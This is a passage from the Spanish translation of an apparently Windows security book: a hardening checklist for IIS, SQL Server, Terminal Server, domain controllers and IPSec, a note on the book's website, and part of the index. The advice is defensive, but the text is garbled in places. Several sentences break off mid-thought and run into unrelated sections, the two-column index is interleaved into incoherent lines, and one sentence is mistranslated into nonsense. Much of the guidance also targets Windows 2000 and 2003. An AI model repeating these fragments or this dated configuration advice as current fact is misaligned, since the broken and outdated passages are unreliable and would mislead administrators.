configuración está disponible en Windows XP y posteriores mediante la directiva de seguridad, y
debe configurarse allí, si está disponible.
• Si está usando IIS, mueva las raíces virtuales de IIS (C:\Inetpub, etc.) a una segunda
partición NTFS (E:), use la herramienta ROBOCOPY Robust File Copy de Reskit
con los interruptores /SEC /MOVE para preservar las ACL de NTFS en directorios
y archivos (de otra manera, los permisos se restablecerán a Todos.Control total en el
destino).
• Verifique que ningún controlador o aplicación del sistema instalado por el
comercializador introduzca riesgos de seguridad. (Por ejemplo, el servicio Campaq
Insight Manager, que viene preinstalado en muchos equipos Compaq, tiene una
vulnerabilidad conocida de archivos develada en versiones iniciales).
• Si no son necesarios, deshabilite los servicios NetBIOS y SMB (TCP/UDP 135-139 y
445) al deshabilitar Compartir archivos e impresoras, en redes de Microsoft, como se
analizó en el capítulo 4. Esto evitará el uso del sistema como un servidor de archivos
e impresoras, y puede causar problemas con la resolución de nombre de NetBIOS. Ni
los servicios de archivos e impresoras ni la resolución de nombres de NetBIOS son
importantes para servidores Web típicos.
sugerencia La deshabilitación de éstos y otros servicios puede lograrse mediante la directiva de grupo.
Es probable que la plantilla hisecws no sea lo suficientemente estricta para su sistema. A con-
tinuación se presentan nuestras ampliaciones y modificaciones a los parámetros que pueden es-
tablecerse usando plantillas de seguridad, como se resume de los capítulos de este libro. Hemos
incluido en la lista plantillas adicionales, aún más completas, producidas por terceros al final de
este apéndice.
Deshabilite cualquier otro servicio innecesario. Los únicos servicios requerido en Windows 2000
y posterior son los siguientes:
• Cliente DNS
• Registro de sucesos
• Administrador de discos lógicos
Estos servicios adicionales no son necesarios pero tal vez se requieran para implementar al-
guna de las otras recomendaciones en esta lista de verificación:
• Servidor DNS (a menos que el servidor DNS que soporta las actualizaciones dinámicas
ya esté disponible)
• Servicio de duplicación de archivos (si hay más de un controlador de dominio)
• Centro de distribución de claves Kerberos
• NetLogon
• Proveedor de servicio NT LM
• Localizador de RPC
• Tiempo de Windows
• Auxiliar TCP/IP NetBIOS
• Servidor (cuando se comparten recursos o se ejecuta AD)
• Estación de trabajo (cuando se conecta a recursos)
Auditoría
Aunque no es una medida preventiva, la habilitación de la auditoría es crítica para sistemas de
alta seguridad, de modo que pueden identificarse los ataques y puedan darse pasos proactivos.
HKLM\SYSTEM\CurrentControlSet\Services\IPSEC\NoDefaultExempt, REG_DWORD=1
En el estado predeterminado de Windows 2000, este valor no existía, y los filtros de IPSec
exentaban, como opción predeterminada, cierto tipo de tráfico del filtrado (consulte el artículo
de la base de datos de conocimiento de Microsoft Q253169). Esto da a los atacantes una apertura
para omitir por completo los filtros IPSec. Al establecer NoDefaultExempt=1 se estrecha la ventana
de manera significativa al eliminar la exención para tráfico de Kerberos y RSVP. Tendrá que con-
figurar manualmente filtros específicos para tráfico de Kerberos si necesita permitirlo. Este valor
de Registro no bloqueará la transmisión, multitransmisión o tráfico IKE, de modo que esté cons-
ciente de que los filtros IPSec no son una protección hermética.
En Windows Server 2003, están implementados valores adicionales, y la configuración pre-
determinada es 3. Puede usar la herramienta netsh para jugar con este valor, pero, ¿por qué bus-
car lo más seguro si es la opción predeterminada?
Nota Sólo para reiterar, establezca la clave del registro NoDefaultExempt en 1 cuando use filtros IPSec en
Windows 2000 y en 3 en Windows Server 2003 (la opción predeterminada), o sus filtros proporcionarán
una seguridad significativamente reducida.
sugerencia
Hemos encontrado que con frecuencia suele comprenderse mal IPSec, sobre todo la diferencia
entre los modos funcionales, Filtrado, Autentificación y Cifrado. Revise www.microsoft.com/technet/
network/ipsec/default.mspx para conocer información completa.
Directiva de grupo
La directiva de grupo es la característica clave bajo el modelo de seguridad de dominio de Win-
dows. Con ella, puede importar plantillas de seguridad y sacarlas del sitio, dominio o unidad
organizacional (OU, Organizational Unit) de Active Directory. Aún mejor, la directiva de grupo
puede incluir las reglas de Firewall de Windows/IPSec, de modo que también puede hacerse a
un lado la configuración de comunicaciones restrictivas. No entraremos en detalles en esta corta
lista de verificación sobre cómo usar la directiva de grupo en todo su potencial, pero consulte
http://en.wikipedia.org/wiki/Group_Policy.
Configuraciones diversas
A continuación hay unas cuantas configuraciones que se aplican sólo a situaciones en que el sis-
tema satisface una función específica, como controlador de dominio, o sistemas que tienen ser-
vicios específicos habilitados, como SNMP.
Controladores de dominio
• Ponga especial atención a la seguridad física de los controladores de dominio.
¡Contienen información de cuentas para todos los miembros del dominio! Y si sirven
como parte de una implementación de PKI, ¡también tienen las claves de raíz!
• Configure los servidores DNS de Windows para restringir transferencias de zona para
hosts definidos explícitamente, o deshabilite por completo las transferencias de zona
(lo que se hace como opción predeterminada a partir de Windows Server 2003).
• Restrinja con cuidado el acceso no confiable a los servicios específicos de Active
Directory, TCP/UDP 389 y 3268. Use firewalls de red, filtros de Firewall de Windows/
IPSec, o cualquier otro mecanismo disponible.
• Elimine la identidad Todos del acceso compatible previo a Windows 2000 en
controladores de dominio, si es posible. Se trata de un modo de compatibilidad hacia
atrás que permite que los servicios NT RAS y SQL accedan a objetos de usuario en
el directorio. Si no requiere esta compatibilidad heredada, desactívela. Planee su
migración a Active Directory de modo que los servidores de RAS y SQL se actualicen
primero, de modo que no necesita ejecutar en modo de compatibilidad hacia atrás
(consulte el artículo de base de datos de conocimiento de Microsoft Q240855).
SNMP
• Si debe habilitar SNMP (y recomendamos que no lo haga), bloquee el acceso no
confiable al servicio SNMP. Puede configurar el Servicio SNMP de Windows para
restringir acceso a direcciones IP definidas explícitamente, como se muestra en el
capítulo 4. (También puede usar la Firewall de Windows para esto, por supuesto, o
IPSec para cifrar y autentificar tráfico SNMP).
• ¡Establezca nombres de comunidad complejos, no predeterminados, para servicios
SNMP, si los usa!
• Si debe usar SNMP en máquinas de Windows, establezca las ACL apropiadas en
HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
En el caso de los fanáticos de IIS 4 y 5 de la vieja escuela, lean la lista de verificación de seguridad
sugerencia de Microsoft de IIS 4, la lista de verificación de IIS 5 segura, o ambas. ¡Y recuerde que todo esto ya
está aplicado en IIS 6 o posterior!
sugerencia
El Center for Internet Security ofrece una medición comparativa de la seguridad del servidor Web
Apache en cisecurity.org.
CONSIDERACIONES RELACIONADAS
CON LA SEGURIDAD DE SQL SERVER
He aquí nuestras configuraciones recomendadas de seguridad de SQL Server resumidas del ca-
pítulo 9 (con las entradas redundantes eliminadas):
• ¡Actualice a SQL Server 2005 o posterior! Y manténgase actualizado con los paquetes
de servicio.
• Implemente el control de acceso a red apropiado para aislar SQL Server. Los servidores de
SQL sólo deben tener conectividad directa con las máquinas que solicitarán sus servicios.
Por ejemplo, si SQL Server es el almacén de datos para su tienda Web, ninguna otra
máquina, aparte de los servidores Web, debe tener conectividad directa con SQL Server.
• Considere con todo cuidado la configuración del modo de seguridad de SQL Server.
Aunque el uso de autentificación de Windows para SQL Server parezca la opción más
segura, no siempre es factible en ciertos entornos. Tómese el tiempo de evaluar si puede
usarla y, en ese caso, cambie el modo de inicio de sesión de SQL para que los usuarios
no puedan iniciar sesión utilizando pares nombre de usuario/contraseña. Esto también
lo liberará de tener que incluir sus credenciales en cadenas de conexión o incrustarlas
en aplicaciones cliente/servidor. Si usa el modo combinado de autentificación, cree
un sistema de administración de credenciales equivalente para asegurar que las
contraseñas cumplan los criterios de la directiva y se cambien de manera regular.
• Habilite el registro de autentificación de SQL Server. Como opción predeterminada, este
registro está deshabilitado en SQL Server. Puede remediar esta situación con un solo
comando, y se recomienda que lo haga de inmediato. Use el Administrador corporativo
y busque bajo Propiedades del servidor, empleando Query Analyzer u osql.exe (el
siguiente es un comando de una línea cortado debido a restricciones de ancho de página):
Master..xp_instance_regwrite N’HKEY_LOCAL_MACHINE’,
N’SOFTWARE\Microsoft\MSSQLServer’,N’AuditLevel’, REG_DWORD,3
• Cifre los datos, cuando sea posible. SQL Server 2005 introdujo la infraestructura de
cifrado nativa para ayudarle a lograr esto. Antes de SQL 2005, no se proporcionaba
soporte nativo para cifrar campos individuales; sin embargo, puede implementar
fácilmente su propio cifrado empleando la API Crypto de Microsoft y luego colocando
los datos cifrados en su base de datos. Al final del capítulo 9 se presenta una lista
Precaución
La eliminación o restricción del acceso a procedimientos almacenados extendidos puede poner a
SQL Server en un estado no soportado. Póngase en contacto con su representante de soporte en
Microsoft para verificarlo.
• Use SQL Profiler para identificar puntos débiles. Una técnica excelente para encontrar
agujeros de inyección de SQL, que consiste en inyectar una cadena de explotación en
CONSIDERACIONES RELACIONADAS
CON LA SEGURIDAD DE TERMINAL SERVER
He aquí algunas consideraciones reunidas de todo el libro.
• Considere la reasignación del puerto del servicio Terminal Server (TS) al modificar la
siguiente clave del registro:
HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\
RDP-Tcp Value : PortNumber REG_DWORD=3389
Cree un documento de conexión de escritorio remoto (.rdp) para configurar los clientes
que se conectarán al puerto personalizado, o use una redirección de puerto en el cliente.
El cliente TS ActiveX no puede usarse para conectarse a un puerto modificado.
• Implemente una nota legal personalizada para inicios de sesión de Windows. Esto
puede hacerse al agregar o editar el valor de Registro que se muestra aquí:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Nombre Tipo de datos Valor
LegalNoticeCaption REG_SZ [leyenda personalizada]
LegalNoticeText REG_SZ [mensaje personalizado]
• No permita que usuarios no confiables inicien sesión vía TS, lo que es equivalente
a inicios de sesión interactivos. Use el grupo Usuarios de escritorio remoto para
administrar usuarios autorizados.
• Requiere seguridad de cliente de 128 bits.
• Recuerde que la seguridad de TS varía dependiendo del modo, sea Administración o
Aplicación. En el modo Aplicación, los usuarios tendrán casi el equivalente de inicio de
sesión interactivo de ubicaciones remotas, de modo que otros controles como SRP deben
implementarse para asegurar que no pueden ejecutarse aplicaciones no aprobadas.
CONSIDERACIONES RELACIONADAS
CON LA NEGACIÓN DEL SERVICIO
He aquí algunas consideraciones para mitigar ataques de negación de servicio (DoS, Denial of
Service):
Precaución
Estas configuraciones están diseñadas para proteger un sitio Web de alto volumen, muy atacado.
Pueden resultar muy agresivos (o no lo suficientemente agresivos) para otros escenarios.
• Ejecute con la menor cantidad de privilegios. Nunca inicie sesión como Administrador
(o una cuenta equivalente con privilegios elevados) en un sistema que usará para
explorar Internet o leer correo electrónico.
• El software antivirus está instalado y configurado para rastrear en tiempo real (sobre
todo correos electrónicos entrantes) y mantenerse actualizado automáticamente.
• Si se configuran por separado, asegúrese de que otro software de cliente (¡sobre todo
correo electrónico!) usa la configuración de seguridad más conservadora (por ejemplo,
la zona Sitios restringidos en clientes de correo electrónico de Microsoft).
• Tenga los dispositivos de su equipo físicamente seguros (sobre todo los dispositivos
móviles como laptops, Blackberrys y teléfonos celulares).
• Siga de manera regular la metodología delineada en este libro para auditar su propio
cumplimiento de las recomendaciones de esta lista.
• Si la tarea de auditoría propia es muy pesada, contrátela con un proveedor externo
independiente de servicios de seguridad.
APéndice B
L S I T I O
R C A D E
A C E L I B R O
D E L
WEB G L É S
EN IN
421
L
a seguridad en Windows es una disciplina que cambia rápidamente, y reconocemos que
la palabra impresa a menudo no es el medio más adecuado para mantenerse actualizado
con todos los nuevos acontecimientos en esta vibrante área de investigación.
Por tanto, hemos implementado un sitio de World Wide Web que lleva registro de nueva in-
formación relevante para los temas analizados en este libro, junto con erratas y una compilación
de las herramientas de dominio público, secuencias de comandos y archivos de configuración
que hemos cubierto en todo el libro. La dirección de ese sitio es:
http://www.winhackingexposed.com
El sitio también proporciona un foro para hablar directamente con los autores vía correo
electrónico:
joel@winhackingexposed.com
Esperamos que regrese al sitio con frecuencia mientras lee los capítulos para ver y actualizar
materiales, obtener acceso a herramientas que mencionamos y mantener el paso con el siempre
cambiante rostro de la seguridad en Windows. De otra manera, nunca sabrá cuáles nuevos de-
sarrollos pueden poner en peligro su enfermedad antes de que pueda defenderse de ellos.
A menos que se indique de otro modo específicamente, las herramientas disponibles en www.
Nota winhackingexposed.com no fueron producidas por los autores, que no ofrecen garantías ni reclamos
sobre su funcionalidad, ni asumen ninguna responsabilidad por consecuencias inesperadas por su
uso o mal uso.
índice
$ (signo de pesos), 28 contraseñas, 37, 208-210
010 Editor, 177 descrito, 107
4Suite XML, paquete, 171 enumeración, 107-111
permisos, 109-110
restricción de acceso a, 412
▼ A SAM y, 39-41
servidores DNS y, 101-103
Absinthe, herramienta, 276-277, 301-302 ActiveX
acceso ataques a, 322-323
a disco simple, 251 característica opt-in, 324
al usuario con menores privilegios. Véase contramedidas, 324
Control de cuentas de usuario deshabilitación, 337
ataques de acceso de dominio cruzado, 325-326 Internet Explorer y, 325-327
acceso directo a memoria (DMA), 359 activos, 3-4
acceso remoto de información digital, 3-4
contramedidas, 197-198 actualizaciones. Véase también correcciones;
gráfico, 194-196 parches; paquetes de servicio
recopilación de información y, 54 desempaque, 172-173
acceso Web a Outlook (OWA), 84 servicio de actualización de software (SUS), 409
Achilles, herramienta, 298 Windows Update (WU), 307-308
ACL (listas de control de acceso) Acuerdo de licencia de usuario final (EULA), 333
la menor cantidad de privilegios y, 11 AD. Véase Active Directory
listas de control de acceso del sistema, 373-374 Ad-Aware, herramienta, 334
listas de control de acceso obligatorio, 372-373 adivinación de contraseñas
protección de recursos de Windows, 400 ataques de diccionario, 123-135
Acrobat XSS, ataques, 321-322 bloqueo de cuentas y, 119-120, 130-133
Acta de Portabilidad y responsabilidad de seguros mé- bucles FOR, 122-125
dicos (HIPAA), 6 con enumeración, 89-90, 118-119
Active Directory (AD) contramedidas, 128-135
bosques/árboles/dominios, 41-46 cuenta Administrador, 121-137
423
CANVAS, marco conceptual de explotación, 159 SQL Server, 281, 294-295, 311, 414
capa de conexiones seguras. Véase SSL cipher.exe, herramienta, 358
capacitación en seguridad, 8 CIS (servicios de Internet COM), 156-158
capas de acceso a datos, 309-310 Clásica, opción, 38-39
carpetas clave de cifrado de archivo (FEK), 350-353
archivos temporales de Internet, 263 clave del sistema (SYSKEY), 39-41
cifradas, 358 clave maestra de volumen (VMK), 234
lista de contenido, 239-240 claves
ocultas, 230, 259, 267-268 criptográficas, 47-48
permisos, 267-268 de cifrado de volumen completo, 234
CD, 232 de recuperación, 352
CD-ROM, 360 maestra de usuario, 48
unidad, 360-361 privada de usuario, 48
centro de distribución de claves (KDC), 138 pública de usuario, 48
centro de distribución de claves de Kerberos públicas/privadas, 47-48
(krbtgt), cuenta, 23 cliente avanzado de Terminal Services (TSAC),
centro de respuesta de seguridad de Microsoft, 5 135-136
Certificados, complemento MMC, 47, 48 cliente de servicios de directorio (DESClient), 38,
Check Disk, utilería, 258 147
chkimg, comando, 255 cliente, aplicaciones, 317-343
chntpw, herramienta, 348-349, 351 adware, 332-334
CIA (confidencialidad, integridad y contramedidas generales, 334-340
disponibilidad), 3-4 explotaciones, 319-327
ciclo de vida de la seguridad, 2-10 ingeniería social, 327-334
Cifrado de unidad BitLocker (BDE) 368-372 promiscuos, 289
Bootroot y, 232 referencias, 340-343
configuraciones, 369-370 spyware, 328, 332-334
descrito, 368 suplantación de identidad, 328-332
inicio seguro, 251 Windows, 85
Módulo de plataforma confiable (TPM), CLR (motor en tiempo de ejecución de lenguaje
370-372 común), 48-49
protección de ataques fuera de línea, cmd.exe, comando, 193-194
354-363 código
protección de contraseñas, 234 Authenticode, 322, 324
SQL Server y, 311 develamiento de vulnerabilidades, 295
cifrado. Véase también sistema de cifrado de firma de código en modo de kernel, 250
archivos fuente, 295
archivos, 350-354 generación, 309-310
carpetas, 358 HTML. Véase HTML, código
cifrado de protocolo, 295 malicioso, 359-360
clave de cifrado de archivo (FEK), 350-353 T-SQL. Véase T-SQL, código
clave de cifrado de volumen completo, 234 Unicode, 264-265
de protocolo, 295 comandos. Véase también comandos específicos
discos duros. Véase Cifrado de unidad ejecución, 16
BitLocker SQL, 296-306, 313-314
estándar extendido de cifrado de datos, 350 Comentario, campo, 118
nativo, 281 compartimentalización, 12
olfateo de paquetes y, 294-295 Compartir archivos e impresoras, 97, 98
control interactivo remoto, 191-201 correcciones, 307, 408-409. Véase también parches;
descubrimiento de contraseñas. Véase paquetes de servicio, actualizaciones
descubrimiento de contraseñas correo basura, 233
extracción de contraseñas, 202-210 correo electrónico
información general, 186, 220-221 a servidores fraudulentos, 144
referencias, 221-224 ataques de suplantación de personalidad,
transferencia de herramientas de ataque a, 233, 235, 328-332
186-191 contacto con el autor de este libro, 422
control interactivo, 191-201 correo basura, 233
remoto, 191-201 datos adjuntos, 320
control obligatorio de integridad (MIC), 35-36, 339 gusanos de envíos masivos de correo, 263
control remoto gráfico, 194-196 hipervínculos en, 332
controladores obtención de credenciales de LM/NTLM,
captura de paquetes WinPcap, 142-143 144
comparación, 259 texto simple, 331-332
firma de controlador de kernel, 18 y páginas Web maliciosos, 322, 332
no firmados, 250 zona Sitios restringidos, 338-339
ocultamiento, 243 credenciales
residente en el kernel, 17 agente de recuperación, 350-351
rootkits, 234, 252, 256-258 aplicaciones, 205-210
controladores de dispositivo residentes en kernel, hashes y, 219-220
17 LM/NTLM, 144
controladores de dominio (DC), 41-46 SQL Server, 303-304
clave maestra de copia de seguridad/ usuarios, 3, 281
restauración, 48 credenciales.txt, archivo, 124-125
configuración, 412-413 criptografía, 47-48
cuentas de equipo y, 28-30 Crypto, API, 205, 414
EFS y, 352-354 CSS (hojas de estilo en cascada), 325
enumeración, 81-82 ctrl+alt+supr, señal, 16, 31-32
integrados y, 22 cuentas. Véanse también cuentas específicas
requisitos para, 410 ACE (entradas de control de acceso),
respuestas LM y, 145-146 376-377
seguridad física de, 412 administrador. Véase administrador, cuentas
controles ActiveX, 322-324, 336-337 copia de seguridad, 119, 121, 122
convención universal de asignación de nombres de dominio, 118, 311-312, 409
(UNC), 303-304 de equipo, 28-30, 35
cookies de grupo, 119
ataques de dominio cruzado, 325 de invitado, 119-120
de GS, 181-183, 388-391 de laboratorio, 118, 122
de pila (GS), 181-183, 388-391 de prueba, 118-122
de seguridad, 388-391 de servicio. Véase servicio, cuentas
revisión de, 275-276 de usuario. Véase usuario, cuentas
seguridad, 388-391 deshabilitadas, 119-120, 130-131, 133-134
SQL Server y, 275-276 integradas, 22-23
copias de seguridad locales. Véase locales, cuentas
de cuentas de usuario, 119, 121, 122 por lotes. Véase cuentas de servicio
privilegiadas, 119 root, 122
CORE IMPACT, marco conceptual de explotación, cuentas de administrador
159 administrador del sistema (sa), 307-309
descrita, 236
modelo de seguridad para, 38-39
física, 245
SQL Server, 311-312
proceso, 254-255
locales, grupos, 42
virtual, 232, 244-247
LocalService, característica, 380
volcado, 254-255
LocalSystem, cuenta, 23, 35
menor cantidad de privilegios
LoRIE (Internet Explorer de derechos bajos), 35-36
ACL y, 11
LOVESAN, gusanos, 156
cuentas de usuario, 30, 375
LSA (autoridad de seguridad local), 18, 36, 200
malware y, 235
LSA, volcado, 202-204
servicios de Windows, 380-384
LSASS (subsistema de autoridad de seguridad lo-
SQL Server y, 311-312, 415
cal), 18, 32, 46, 203
Messenger, servicio, 78
LUA (acceso al usuario con los menores
metadatos, 281
privilegios). Véase Control de cuentas de
Metasploit, marco conceptual, 159, 183
usuario (UAC)
metodología abierta para detección de compromi-
sos (OMCD), 253
MIB (base de información de administración), 104-
▼ M 105, 413
MIC (control obligatorio de identidad), 35-36, 339
Machine.config, archivo, 49 Micalizzi, A., 323
MACL (listas de control de acceso obligatorio), Microsoft
372-373 contacto relacionado con problemas de se-
MACS (sistema de colección de auditorías de guridad, 281
Microsoft), 47 sistema DREAD, 5
maleadores de puerto RPC, 82-84 soporte de productos, 229-230
malware, 229, 230, 232, 235 Microsoft FrontPage, 59
Management Studio, 308 Microsoft Malicious Software Removal Tool, 247
manejador estructurado de excepciones. Véase Microsoft Office, documentos, 235, 320-321
SEH Microsoft Operations Manager (MOM), 47, 411
manejo de excepciones, 392-397 Microsoft RPC (MSRPC). Véase también RPC
manifiesto de la aplicación, 35 configuración del nivel de autentificación de
manipulación directa de objetos de kernel LAN Manager, 147
(DKOM), 231, 240-244 Endpoint Mapper, 75, 82-84, 156
mapeador de extremo, 75, 82-84, 156 sobreflujos de búfer, 156-158
MAPI (interfaz de programación de aplicaciones Microsoft Software Inventory Analyzer, 307
de mensajería), 84 Microsoft Systems Management Server, 307
máquina, cuenta. Véase equipo, cuentas Middleton, Dennis, 254
máquina virtual (VM), 262 .mil, dominio, 55
marcas globales (GFlags), 167-169 Miller, Matt, 391, 396, 399
marco de pila, 388, 389 minado de datos, 198-201
marcos conceptuales de explotación, 159 del sistema, 198-201
Masterpreter, 183 MMC (consola de administración de Microsoft),
MBR (registro maestro de arranque), 232 47, 48
MBSA (Microsoft Baseline Security Analyzer), 173 modelado de amenazas, 3
McLain, Fred, 322 modelo distribuido de objetos de componentes
MDCrack, programa, 214-215 (DCOM), interfaz, 156-158
MDCrack, utilería, 215-216 modelo de objeto de documento (DOM), 329
membresías de grupo, 118 modelos
memoria de control de acceso de Windows, 33-34
▼ O
O’Dwyer, Frank, 139
▼ P
objetos Paget, Chris, 386
ActiveX, 290-292 Páginas activas de servidor (ASP), 290-292
asegurables, 19 páginas Web
auditoría, 411 ataques a SQL Server vía, 290-292
control de acceso, 19 personalizadas, 290-292
de ActiveX, 290-292 pantallas azules, 230, 232
de ayuda del explorador, 334 paquete de actualización de Microsoft (.MSU),
de directiva de grupo, 339 172-173
de modo de kernel, 240 paquetes de servicio, 307, 408-409, 414. Véase tam-
modo de kernel, 240 bién correcciones; parches; actualización
objetos de ayuda del explorador (BHO), 334 parametrizadas, consultas, 304-306
objetos de directiva de grupo (GPO), 339 paranoia, 13
obtención de anuncios, 64, 67-69 parchado de funciones en línea, 238, 240
Ochoa, Hernán, 220 parches. Véase también correcciones; paquetes de
OCSInventory, 307 servicio; actualizaciones
OCTAVE (amenazas, activos y vulnerabilidades Baseline Security Analyzer, 409
operacionalmente críticos), 3 importancia de mantenerlas, 11
ODBC, errores, 297 inventario manual de, 409
OE (Outlook/Outlook Express), 144 protección de parche de kernel, 248, 252
Office, documentos. Véase Microsoft Office, docu- SQL Server, 307-308
mentos Paros Proxy, rastreador, 276, 298
OID (identificadores de objetos), 104-105 Partizan, herramienta, 259
OLE, base de datos, 278, 297 paso de hash, ataques, 220
olfateadores inalámbricos, 275 passfilt (filtro de contraseñas), 128-129
olfateo. Véase también espionaje passfilt.dll, archivo, 128-129
autentificación de Kerberos, 138-139 Passprop, herramienta, 133, 136
autentificación de LM, 140-148 PassView, herramienta, 205, 206, 207
contramedidas, 145-148 PatchGuard, 18, 248
contraseñas de SQL Server, 292-296 PCI DSS (estándar de seguridad de datos de la
de paquetes, 200-201, 292-296 industria del pago con tarjeta), 4, 6, 70
descrito, 137 PCR (registros de configuración de plataforma),
olfateo de respuesta de LM, 140-148 251